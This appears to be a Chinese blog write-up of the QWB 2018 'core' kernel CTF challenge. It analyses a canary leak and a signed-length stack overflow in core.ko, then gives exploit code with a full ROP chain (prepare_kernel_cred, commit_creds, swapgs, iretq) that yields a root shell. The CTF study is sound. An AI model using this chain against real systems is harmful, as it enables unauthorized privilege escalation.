0
点赞
收藏
分享

微信扫一扫

强网杯 2018 core ROP做法

全栈顾问 2022-04-14 阅读 56

学kernel的第二天,仍然很不想学·····

拿到题目看下init先:

#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0  -f

主要关注一下这三行:

cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict

可以看到程序将kallsyms的值给到了/tmp目录下,然后将kptr_restrict和dmesg_restrict写上1,这样我们就没法查看内核地址和内核日志了。

但是仍然可以通过读/tmp目录下的kallsyms获取内核地址

init还insmod了一个core.ko,可以看出来我们要分析的文件应该就是这个

这里要注意需要把boot.sh里的64M改成128M,定时关机也可以关掉

在这里插入图片描述

改完之后已经正常启动了,接下来看core.ko文件
在这里插入图片描述开了canary

init,exit和relase函数没什么特别的,注册的设备名叫core,用的是proc_create,所以到时候直接open(‘/proc/core’)即可

然后看看core_ioctl:
在这里插入图片描述
定义了个操作,其中第二个单纯的设置了一个全局变量off
来看看core_read和core_copy_func
在这里插入图片描述打印了一些东西,然后把v2清零,然后将v5从off偏移处开始复制给用户,这里注意,off是我们可控的,并且没有做任何限制,也就是说如果我们将off设置的大一些,是可以将内核栈上的一些数据泄露出来的,而本题开了canary,所以这个函数很明显是用来泄露canary的。

再看core_copy_func:
在这里插入图片描述
函数将全局变量name中的内容复制a1长度到内核栈中,这里就有一个问题,a1本身是64位的,当执行qmemcpy的时候当做16位来看,而给出的限制条件是64位的a1>63,也就是说只要让a1的符号位为1,就可以做到绕过a1>63的检测,从而实现一个栈溢出。

栈溢出有了,执行rop还有一个条件是name必须可控,我们来看看write函数:
在这里插入图片描述

write函数最多可以像name中写入0x800大小的数据,完全足够我们写rop链

所以这个题总的思路已经出来了,首先利用ioctl控一下off,然后用read读canary,然后用write编写rop链,最后利用core_copy_func实现栈溢出,最后提权起shell

首先使用ropper获取所需gadget

ropper --file ./vmlinux > gadget    

先把一些常规的函数写上

size_t user_cs, user_ss, user_rflags, user_sp;

//intel 保存用户态
void save_status(){
        __asm__("mov user_cs,cs;"
                "mov user_ss,ss;"
                "mov user_sp,rsp;"
                "pushf;"
                "pop user_rflags;"
               );
        puts("[*] saved !");
}

//leak canary
void core_read(int fd, char *user_buf){
        ioctl(fd, 0x6677889B, user_buf);
}

//set off
void set_off(int fd, long long len){
        ioctl(fd, 0x6677889C, len);
}

//stack overflow
void core_copy_func(int fd, long long len){
        ioctl(fd, 0x6677889A, len);
}

//起一个root shell
void get_root_shell(){
        if(!getuid()){
                puts("[+] root! pwned by z1r0");
                system("/bin/sh");
        }else{
                puts("[-] false ");
        }
        exit(0);
}

然后利用/tmp路径下的kallsyms文件获取内核函数地址,然后减掉固定偏移获取vmlinux加载之后的基址,再和加载前的基址做个减法,就能计算出kalsr导致的偏移,从而计算出gadget的实际地址。

有了commit_creds和prepare_kernel_cred 两个函数的地址以及gadget的地址,我们就可以写rop链了:

for(i = 0; i < 10; ++i){
                rop[i++] = canary;
        }
        rop[i++] = 0xffffffff81000b2f + offset; //pop rdi ; ret
        rop[i++] = 0;
        rop[i++] = prepare_kernel_cred;
        rop[i++] = 0xffffffff810a0f49 + offset; //pop rdx; ret
        rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
        rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx; 
        rop[i++] = commit_creds;
        rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
        rop[i++] = 0;
        rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret; 
        rop[i++] = (size_t)get_root_shell;
        rop[i++] = user_cs;
        rop[i++] = user_rflags;
        rop[i++] = user_sp;
        rop[i++] = user_ss;

大致结构为padding+canary+commit_creds(prepare_kernel_cred(0))+swapgs+iretq+getshell

写好exp,静态编译一下,重新打包起个kernel执行下:
在这里插入图片描述

可以看到已经成功提权了

举报

相关推荐

0 条评论